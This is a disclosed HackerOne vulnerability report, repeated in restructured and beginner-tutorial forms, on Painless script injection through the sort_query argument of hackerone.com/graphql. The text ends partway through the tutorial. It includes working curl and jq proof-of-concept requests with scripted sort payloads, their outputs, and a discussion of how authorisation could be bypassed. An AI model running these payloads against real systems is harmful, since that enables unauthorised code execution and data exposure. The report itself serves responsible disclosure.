Authenticated Elasticsearch Painless script execution via Query.search.sort_query on hackerone.com/graphql
The GraphQL search resolver passed a free-form sort_query string straight to Elasticsearch as the raw sort parameter, so a scripted sort directive was compiled and run as Painless code per document. An authenticated reporter could therefore run their own code inside the Elasticsearch process, which could expose fields on documents before resolver-level authorisation and could degrade the shared cluster.
- Triaged in 4 days
- Fixed in 7 days
- Paid in 7 days
- Disclosed after 54 days
Summary:
-
The
sort_query: Stringargument onQuery.search(hackerone.com/graphql) is passed to the downstream Elasticsearch cluster as the raw value of thesortparameter, without server-side schema validation, keyword allowlisting, or rejection of scripted sort directives. -
I confirmed per-document Painless script execution by submitting two requests that differ only in the
script.sourcefield and observing that the script's return value determined document ordering. -
The first request returned a constant sort key; the second read each document's internal
_seq_nometadata field and returned it as the sort key. The result sets share zero overlapping documents in the first five positions, and the second request's ordering matches a known ascending-by-_seq_nobaseline. This difference is only explainable by the Painless script compiling and executing per document against thedoccontext.
All testing was conducted against documents within my own authorization boundary (NotificationsIndex, scoped to my own notifications by a server-side user filter). The scripts I supplied did not read any user content, any foreign-tenant data, or any field beyond the _seq_no ES-internal metadata field.
Description:
- URL:
https://hackerone.com/graphql - Method:
POST - GraphQL field:
Query.search - Argument:
sort_query: String - Index tested:
NotificationsIndex
The following additional surfaces expose the same sort_query: String argument and are likely to share the vulnerability, but were not tested:
Query.searchwith otherIndexEnumvalues (DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex)Organization.findings_search.sort_query: String
Steps To Reproduce
Environment assumptions
All PoC commands assume the same browser session as the production frontend:
# /tmp/h1.headers contents:
# accept: */*
# content-type: application/json
# origin: https://hackerone.com
# referer: https://hackerone.com/notifications
# user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
# x-csrf-token: <session CSRF token>
# x-product-area: notifications
# x-product-feature: overview
#
# $COOKIE contains the full authenticated cookie jar including __Host-session and cf_clearance.
Step 1 — Confirm session identity
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"{me{_id username}}"}' | jq
Response:
{"data":{"me":{"_id":"████████","username":"brumbelow"}}}
Reporter-level account with no elevated privileges.
Step 2 — Confirm sort_query accepts raw Elasticsearch JSON
Before testing any scripting payload, I established that sort_query accepts arbitrary JSON sort specifications and that the sort takes effect on results.
# Field-based JSON sort — confirms JSON is parsed and sort is applied
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq
Response (abridged):
{
"data": {
"search": {
"nodes": [
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM="}
]
}
}
}
Decoded internal _id values: 404547633, 408446504, 416737094, 417300042, 417467303 — monotonically ascending, confirming JSON sort directives are parsed and applied by Elasticsearch.
I additionally confirmed object-shaped sort specifications (with nested order, mode, missing keys) are accepted:
for sq in \
'[{"user_id":{"order":"desc"}}]' \
'[{"user_id":{"order":"desc","missing":"_last"}}]' \
'[{"created_at":{"order":"desc","mode":"max"}}]'; do
q=$(jq -n --arg sq "$sq" '{query:"query($sq:String){search(index:NotificationsIndex,query_string:\"*\",sort_query:$sq,size:1){total_count}}", variables:{sq:$sq}}')
printf '%-55s ' "$(echo "$sq" | head -c 53)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$q" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)}'
sleep 1.2
done
Response:
[{"user_id":{"order":"desc"}}] {"tc":716,"err":null}
[{"user_id":{"order":"desc","missing":"_last"}}] {"tc":716,"err":null}
[{"created_at":{"order":"desc","mode":"max"}}] {"tc":716,"err":null}
Note: total_count: 716 is the caller's personal notification count, confirming the result set is filtered to my own notifications by a server-side user filter applied prior to sort. All subsequent script testing occurred within this already-filtered result set.
Step 3 — Differential Painless compilation evidence
Compile-failure vs. compile-success probes isolate the behavior of _script clauses when the source is malformed vs. valid Painless. Same GraphQL query shape in all cases; only sort_query.script.source changes.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'
for sq in \
'[{"_script":{"type":"number","order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
printf '%-95s ' "$(echo "$sq" | head -c 93)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
sleep 1.5
done
Observed results:
script.source |
Result | Painless compile outcome |
|---|---|---|
(no script key at all) |
HTTP 500 / STANDARD_ERROR |
n/a — malformed _script shape |
"" (empty) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"unterminated (invalid Painless) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"1" |
HTTP 200, total_count: 716 |
compile success |
"1+1" |
HTTP 200, total_count: 716 |
compile success |
The 200/500 split tracks precisely with whether the source is valid Painless. Middleware performing only JSON-schema validation on sort_query could not differentiate these cases — all five payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes "empty string" and "unterminated string literal" from "1" is a Painless compiler reached with the attacker-controlled source.
Step 4 — Differential per-document execution evidence
Two requests differing only in the value of script.source. Both select edges { cursor node { id } } to capture ordering. If the script in Request B executes per document, reading doc["_seq_no"].value, the ordering will differ from the constant-return Request A.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{cursor node{__typename ... on NotificationDocument{id}}}}}'
# Request A — baseline, constant return
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'
# Request B — per-document field read
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'
echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers
sleep 2
echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeB_headers
Request A response (source: "1"):
x-request-id: 308106dc-dc26-479f-8bab-eba02d6591c1
First 5 document id values (decoded from base64 Relay global IDs):
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NTExOTAzOTM= |
451190393 |
| 2 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MzM1NzE4MDI= |
433571802 |
| 3 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ2NTE1ODI= |
444651582 |
| 4 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ3NzMxMjE= |
444773121 |
| 5 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDUwNjcxMTg= |
445067118 |
Request B response (source: "doc[\"_seq_no\"].value"):
x-request-id: c2daf19b-11e7-4f98-b608-44c42f52374a
First 5 document id values:
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM= |
404547633 |
| 2 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ= |
408446504 |
| 3 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ= |
416737094 |
| 4 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI= |
417300042 |
| 5 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM= |
417467303 |
Analysis
The two result sets share zero overlapping documents in the first five positions. Request B's ordering is strictly monotonically ascending by _id, and matches exactly the ordering obtained in Step 2 via the known-good sort_query: '[{"id":"asc"}]' (same first five IDs in the same order).
In Elasticsearch, _seq_no is a per-document sequence number assigned at indexing time and increases monotonically with insertion order. Sorting the caller's earliest-indexed notifications ascending by _seq_no therefore produces the same order as ascending by their internal _id.
For Request B's ordering to arise, the Painless script must have:
- Been compiled (consistent with the Step 3 compile-success result for valid sources)
- Been invoked once per document in the result set during the Elasticsearch sort phase
- Successfully read each document's
_seq_novalue via thedoccontext - Returned that value as the sort key for its document
If the _script sort clause were being silently dropped upstream of Elasticsearch, or if Painless were compiling the source but discarding the output, Request B would have produced the same ordering as Request A. It did not — the orderings have no overlap.
This is direct evidence of per-document Painless script execution on the HackerOne production Elasticsearch cluster, triggered by a single authenticated GraphQL request from a reporter-level account.
Scope of testing
I deliberately restricted testing to the minimum evidence required to establish execution:
- Scripts submitted were
"1","1+1","3+4","doc[\"_seq_no\"].value", and intentionally-malformed variants. No field reads other than_seq_no, no method calls beyond.value, no stdlib usage, no parameters, no loops, no I/O. _seq_nois an ES-internal metadata field present on every document. It is not user data, program data, or tenant data.- All probes ran against my own authenticated session's result set in
NotificationsIndex(716 documents, all mine by server-side user filter). - I did not test sandbox boundaries (filesystem, environment, network, reflection).
- I did not read any user data belonging to any other account.
- I did not test cross-tenant access or document-authorization bypass.
- I did not test other indices (
DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex) or othersort_query-exposing resolvers (Organization.findings_search). - I ceased all probing against
hackerone.com/graphqlimmediately upon confirming per-document execution in Step 4.
Optional: Supporting Material/References (Screenshots)
Showing script execution with above example: ████████
Suggested remediation:
- Remove the
sort_query: Stringargument fromQuery.search. The typedsort: SortInputargument already serves the frontend's documented use cases. If richer sort expressions are required, expose a structured, schema-validated GraphQL input type rather than a free-form string. - Apply the same treatment to
Organization.findings_search.sort_query: Stringand any other resolver that exposes a free-formsort_queryargument.
Impact
Describe impact here.
Painless execution inside the ES JVM process grants code execution on the infrastructure that indexes HackerOne's platform data. The types reachable through Query.search (via the DocumentUnion schema union) include:
ReportDocument,FindingDocument,HacktivityDocument— report contentNotificationDocument— notification contentOpportunityDocument— program metadataStructuredScopeDocument— program scope definitionsAssetDocument— asset inventoryOrganizationMemberDocument,OrganizationMemberGroupDocument— organization membershipAnalyticsGatewayHttpStreamDocument— captured HTTP traffic metadataStoredQueryDocument— saved queries
Confidentiality impact is the most immediate concern even if the Painless sandbox blocks filesystem and network access: _script sort executes within the Elasticsearch query phase, before any GraphQL resolver-layer authorization filter. A script reading doc['<field>'].value sees fields on documents that are about to be scored or sorted — which includes documents the caller is not authorized to read at the resolver layer, if an index is not partitioned per-tenant at the ES level.
I have not verified whether cross-tenant document access is possible, and I will not. That investigation should be performed by HackerOne's internal team.
In addition, Painless sort scripts are user-controlled code executed per document in the result set; adversarial scripts with deep loops, large allocations, or expensive computations can degrade the shared Elasticsearch cluster.
Context
HackerOne exposes a GraphQL API at https://hackerone.com/graphql. One of its fields, Query.search, takes a sort_query: String argument. That argument is forwarded to the downstream Elasticsearch cluster as the raw value of the sort parameter. There is no server-side schema validation, no keyword allowlisting and no rejection of scripted sort directives.
The researcher tested against the NotificationsIndex, which is scoped to the caller's own notifications by a server-side user filter. The same sort_query: String argument is also exposed on other surfaces, which were not tested:
Query.searchwith otherIndexEnumvalues:DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndexOrganization.findings_search.sort_query: String
The report was rated high severity with a CVSS score of 8.8, weakness Code Injection, and a bounty of 7,000 USD.
Setup
All proof-of-concept commands assume the same browser session as the production frontend. The header file /tmp/h1.headers contains:
accept: */*
content-type: application/json
origin: https://hackerone.com
referer: https://hackerone.com/notifications
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
x-csrf-token: <session CSRF token>
x-product-area: notifications
x-product-feature: overview
The $COOKIE variable holds the full authenticated cookie jar, including __Host-session and cf_clearance. The account is a reporter-level account with no elevated privileges.
Finding it
The sort_query: String argument on Query.search is passed straight through to Elasticsearch as the raw sort parameter. Because the value is a free-form string, it can carry any JSON sort specification Elasticsearch understands, including _script sort clauses. The researcher confirmed that such clauses are compiled and executed per document.
Exploitation
Step 1: Confirm session identity
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"{me{_id username}}"}' | jq
Response:
{"data":{"me":{"_id":"████████","username":"brumbelow"}}}
This confirms the session belongs to a reporter-level account with no elevated privileges.
Step 2: Confirm sort_query accepts raw Elasticsearch JSON
Before testing any scripting payload, the researcher established that sort_query accepts arbitrary JSON sort specifications and that the sort takes effect on results.
# Field-based JSON sort — confirms JSON is parsed and sort is applied
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq
Response (abridged):
{
"data": {
"search": {
"nodes": [
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="}
]
}
}
}
The decoded internal _id values are 404547633, 408446504, 416737094, 417300042, 417467303. They are monotonically ascending, which confirms that JSON sort directives are parsed and applied by Elasticsearch.
The researcher also confirmed that object-shaped sort specifications with nested order, mode and missing keys are accepted:
for sq in \
'[{"user_id":{"order":"desc"}}]' \
'[{"user_id":{"order":"desc","missing":"_last"}}]' \
'[{"created_at":{"order":"desc","mode":"max"}}]'; do
q=$(jq -n --arg sq "$sq" '{query:"query($sq:String){search(index:NotificationsIndex,query_string:\"*\",sort_query:$sq,size:1){total_count}}", variables:{sq:$sq}}')
printf '%-55s ' "$(echo "$sq" | head -c 53)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$q" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)}'
sleep 1.2
done
Response:
[{"user_id":{"order":"desc"}}] {"tc":716,"err":null}
[{"user_id":{"order":"desc","missing":"_last"}}] {"tc":716,"err":null}
[{"created_at":{"order":"desc","mode":"max"}}] {"tc":716,"err":null}
The total_count: 716 is the caller's personal notification count. This confirms that the result set is filtered to the caller's own notifications by a server-side user filter applied before the sort. All subsequent script testing occurred within this already-filtered result set.
Step 3: Differential Painless compilation evidence
Compile-failure and compile-success probes isolate the behaviour of _script clauses when the source is malformed versus valid Painless. The GraphQL query shape is the same in all cases; only sort_query.script.source changes.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'
for sq in \
'[{"_script":{"type":"number","order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
printf '%-95s ' "$(echo "$sq" | head -c 93)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
sleep 1.5
done
Observed results:
script.source |
Result | Painless compile outcome |
|---|---|---|
(no script key at all) |
HTTP 500 / STANDARD_ERROR |
n/a, malformed _script shape |
"" (empty) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"unterminated (invalid Painless) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"1" |
HTTP 200, total_count: 716 |
compile success |
"1+1" |
HTTP 200, total_count: 716 |
compile success |
The 200/500 split tracks precisely with whether the source is valid Painless. Middleware performing only JSON-schema validation on sort_query could not differentiate these cases, because all five payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes an empty string and an unterminated string literal from "1" is a Painless compiler reached with the attacker-controlled source.
Step 4: Differential per-document execution evidence
Two requests differ only in the value of script.source. Both select edges { cursor node { id } } to capture ordering. If the script in Request B executes per document and reads doc["_seq_no"].value, the ordering will differ from the constant-return Request A.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{cursor node{__typename ... on NotificationDocument{id}}}}}'
# Request A — baseline, constant return
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'
# Request B — per-document field read
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'
echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers
sleep 2
echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeB_headers
Request A response (source: "1"):
x-request-id: 308106dc-dc26-479f-8bab-eba02d6591c1
First 5 document id values, decoded from base64 Relay global IDs:
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | [redacted]= |
451190393 |
| 2 | [redacted]= |
433571802 |
| 3 | [redacted]= |
444651582 |
| 4 | [redacted]= |
444773121 |
| 5 | [redacted]= |
445067118 |
Request B response (source: "doc[\"_seq_no\"].value"):
x-request-id: c2daf19b-11e7-4f98-b608-44c42f52374a
First 5 document id values:
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | [redacted]= |
404547633 |
| 2 | [redacted]= |
408446504 |
| 3 | [redacted]= |
416737094 |
| 4 | [redacted]= |
417300042 |
| 5 | [redacted]= |
417467303 |
Analysis
The two result sets share zero overlapping documents in the first five positions. Request B's ordering is strictly monotonically ascending by _id, and matches exactly the ordering obtained in Step 2 via the known-good sort_query: '[{"id":"asc"}]', with the same first five IDs in the same order.
In Elasticsearch, _seq_no is a per-document sequence number assigned at indexing time and increases monotonically with insertion order. Sorting the caller's earliest-indexed notifications ascending by _seq_no therefore produces the same order as ascending by their internal _id.
For Request B's ordering to arise, the Painless script must have:
- Been compiled, consistent with the Step 3 compile-success result for valid sources
- Been invoked once per document in the result set during the Elasticsearch sort phase
- Successfully read each document's
_seq_novalue via thedoccontext - Returned that value as the sort key for its document
If the _script sort clause were being silently dropped upstream of Elasticsearch, or if Painless were compiling the source but discarding the output, Request B would have produced the same ordering as Request A. It did not: the orderings have no overlap.
This is direct evidence of per-document Painless script execution on the HackerOne production Elasticsearch cluster, triggered by a single authenticated GraphQL request from a reporter-level account.
Scope of testing
The researcher deliberately restricted testing to the minimum evidence required to establish execution:
- Scripts submitted were
"1","1+1","3+4","doc[\"_seq_no\"].value", and intentionally malformed variants. No field reads other than_seq_no, no method calls beyond.value, no stdlib usage, no parameters, no loops, no I/O. _seq_nois an ES-internal metadata field present on every document. It is not user data, program data or tenant data.- All probes ran against the researcher's own authenticated session's result set in
NotificationsIndex(716 documents, all belonging to the researcher by server-side user filter). - The researcher did not test sandbox boundaries (filesystem, environment, network, reflection).
- The researcher did not read any user data belonging to any other account.
- The researcher did not test cross-tenant access or document-authorization bypass.
- The researcher did not test other indices (
DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex) or othersort_query-exposing resolvers (Organization.findings_search). - All probing against
hackerone.com/graphqlceased immediately upon confirming per-document execution in Step 4.
Root cause
The sort_query: String argument on Query.search is passed to the downstream Elasticsearch cluster as the raw value of the sort parameter, without server-side schema validation, keyword allowlisting or rejection of scripted sort directives. Because the value is a free-form string, an attacker can supply a _script sort clause whose script.source is arbitrary Painless code. Elasticsearch compiles that source and invokes it once per document during the sort phase, with access to the doc context.
Middleware performing only JSON-schema validation on sort_query could not distinguish valid from invalid Painless, because all payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes an empty string and an unterminated string literal from "1" is the Painless compiler reached with the attacker-controlled source. The server-side user filter on NotificationsIndex is applied before the sort, so all script testing occurred within the caller's own filtered result set.
Impact
Painless execution inside the Elasticsearch JVM process grants code execution on the infrastructure that indexes HackerOne's platform data. The types reachable through Query.search via the DocumentUnion schema union include:
ReportDocument,FindingDocument,HacktivityDocument: report contentNotificationDocument: notification contentOpportunityDocument: program metadataStructuredScopeDocument: program scope definitionsAssetDocument: asset inventoryOrganizationMemberDocument,OrganizationMemberGroupDocument: organization membershipAnalyticsGatewayHttpStreamDocument: captured HTTP traffic metadataStoredQueryDocument: saved queries
Confidentiality impact is the most immediate concern even if the Painless sandbox blocks filesystem and network access. The _script sort executes within the Elasticsearch query phase, before any GraphQL resolver-layer authorization filter. A script reading doc['<field>'].value sees fields on documents that are about to be scored or sorted, which includes documents the caller is not authorized to read at the resolver layer, if an index is not partitioned per-tenant at the ES level.
The researcher did not verify whether cross-tenant document access is possible and stated that this investigation should be performed by HackerOne's internal team.
In addition, Painless sort scripts are user-controlled code executed per document in the result set. Adversarial scripts with deep loops, large allocations or expensive computations can degrade the shared Elasticsearch cluster.
Fix
The report suggests the following remediation:
- Remove the
sort_query: Stringargument fromQuery.search. The typedsort: SortInputargument already serves the frontend's documented use cases. If richer sort expressions are required, expose a structured, schema-validated GraphQL input type rather than a free-form string. - Apply the same treatment to
Organization.findings_search.sort_query: Stringand any other resolver that exposes a free-formsort_queryargument.
Variants to test
- Other
IndexEnumvalues onQuery.search(DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex). - Any other resolver exposing a free-form
sort_queryargument. - Object-shaped sort specifications with nested
order,modeandmissingkeys on other indices.
What happened, in plain words
HackerOne runs a website where security researchers report bugs to companies. Behind the website there is a database that stores things like notifications, reports and program details. The website talks to that database through a small piece of software called an API.
One of the API's features lets a logged-in user ask for a list of their notifications and say how the list should be sorted, for example oldest first or newest first. The sorting instruction is sent as a piece of text. The website passes that text almost unchanged to the database. The database, called Elasticsearch, understands a special kind of sorting instruction that contains a small program. If you send such an instruction, the database runs your program once for every item in the list.
The researcher found that a small program sent through the sorting text was compiled and run once per document. They proved it by sending two requests that differed only in the program, and showing that the order of the results changed according to what the program returned. The account used was an ordinary reporter account with no special rights. The report was rated high severity, with a CVSS score of 8.8, the weakness class Code Injection, and a bounty of 7,000 USD.
The pieces involved
Before the steps, here are the main parts, explained from zero.
- API: a way for one program to talk to another. Think of a restaurant: the menu is the API, you order from it, and the kitchen sends back a dish. You do not walk into the kitchen yourself.
- GraphQL: a style of API where the client sends a description of exactly the data it wants, in a query language, and gets back only that. The endpoint here is
https://hackerone.com/graphql. - Query.search: a named operation in that API. You tell it which index to search, what to look for, and how to sort the results.
- Argument: an input you give to an operation, like a form field.
sort_query: Stringmeans the sort argument is a piece of text (a string). - Elasticsearch: a search database. It stores documents (records) in collections called indices, and it can sort and filter them very quickly.
- Index: a named collection of documents in Elasticsearch.
NotificationsIndexholds notifications. - Painless: the small programming language Elasticsearch uses for scripts. A script is a short program the database runs.
- Scripted sort: instead of sorting by a field such as a date, you give Elasticsearch a script. For each document, the script returns a value, and the documents are ordered by those values.
- Cookie: a small piece of data your browser stores for a site so the site recognises you on the next request. A session cookie proves you are logged in.
- CSRF token: a secret value the site puts in its pages and expects back with requests that change or fetch data, so that another website cannot silently make requests on your behalf.
- curl: a command-line tool that sends HTTP requests, the same kind your browser sends.
- jq: a command-line tool that picks fields out of JSON, the text format APIs use for replies.
- Code Injection: a vulnerability class where untrusted input is treated as code and run. Here, the sorting text was treated as a program.
The setup
All the commands assume the same browser session as the real HackerOne frontend. In other words, the researcher reused their own logged-in session rather than creating anything special.
The header file /tmp/h1.headers contains:
accept: */*
content-type: application/json
origin: https://hackerone.com
referer: https://hackerone.com/notifications
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
x-csrf-token: <session CSRF token>
x-product-area: notifications
x-product-feature: overview
Line by line:
accept: */*tells the server the client accepts any kind of reply.content-type: application/jsonsays the request body is JSON.originandreferersay where the request appears to come from. Browsers send these automatically; here they make the request look like it came from the notifications page.user-agentidentifies the browser.x-csrf-tokenis the anti-forgery token described above. The real value is a secret and is replaced here with a placeholder.x-product-areaandx-product-featureare extra labels the frontend sends to say which part of the site is in use.
The $COOKIE variable holds the full authenticated cookie jar, including __Host-session and cf_clearance. The first is the login session cookie; the second is a cookie set by Cloudflare, a service that filters traffic before it reaches the site. The account is a reporter-level account with no elevated privileges.
Finding it
The sort_query: String argument on Query.search is passed straight through to Elasticsearch as the raw sort parameter. There is no server-side schema validation, no keyword allowlisting and no rejection of scripted sort directives.
In plain terms: the website takes the text you put in the sort box and hands it to the database as-is. Because it is free-form text, it can carry any JSON sort specification Elasticsearch understands, including _script sort clauses. The researcher confirmed that such clauses are compiled and executed once per document.
The same sort_query: String argument is also exposed on other surfaces, which were not tested:
Query.searchwith otherIndexEnumvalues:DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndexOrganization.findings_search.sort_query: String
Exploitation
Step 1: Confirm session identity
The first step is simply to check who the session belongs to. You want to be sure you are testing with an ordinary account, not an administrator one.
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"{me{_id username}}"}' | jq
Line by line:
curlsends an HTTP request.-shides the progress meter,-kskips certificate checking.- The URL is the GraphQL endpoint.
-H @/tmp/h1.headersreads the headers listed above from the file.-b "$COOKIE"attaches the saved cookies, so the request is logged in.--data-rawis the request body: a GraphQL query asking forme, specifically the account id and username.| jqformats the JSON reply so it is readable.
Response:
{"data":{"me":{"_id":"████████","username":"brumbelow"}}}
The reply says the session belongs to the reporter account. The account id is redacted here. This confirms a reporter-level account with no elevated privileges.
Step 2: Confirm sort_query accepts raw Elasticsearch JSON
Before testing any scripting payload, the researcher established that sort_query accepts arbitrary JSON sort specifications and that the sort actually takes effect on the results. This matters because a feature that silently ignores your input would give false confidence later.
# Field-based JSON sort — confirms JSON is parsed and sort is applied
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq
Line by line:
- The request is again a POST to the GraphQL endpoint with the same headers and cookies.
- The query calls
searchonNotificationsIndex, matching everything (query_string: "*"). sort_queryis set to the text[{"id":"asc"}], which is a JSON instruction meaning sort by theidfield in ascending order. The backslashes are only there because the JSON is nested inside another JSON string.size:5asks for five results.nodes{... on NotificationDocument{id}}asks for theidof each result, using GraphQL's way of saying which document type to expect.
Response (abridged):
{
"data": {
"search": {
"nodes": [
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="},
{"id": "[redacted]="}
]
}
}
}
The id values look like random text because they are base64, a way of writing data using letters and digits. Decoded, the internal _id values are 404547633, 408446504, 416737094, 417300042, 417467303. They are monotonically ascending, which confirms that JSON sort directives are parsed and applied by Elasticsearch.
The researcher also confirmed that object-shaped sort specifications with nested order, mode and missing keys are accepted. These are richer forms of the same instruction: order says ascending or descending, missing says where to put documents that lack the field, and mode says which value to use when a field has several.
for sq in \
'[{"user_id":{"order":"desc"}}]' \
'[{"user_id":{"order":"desc","missing":"_last"}}]' \
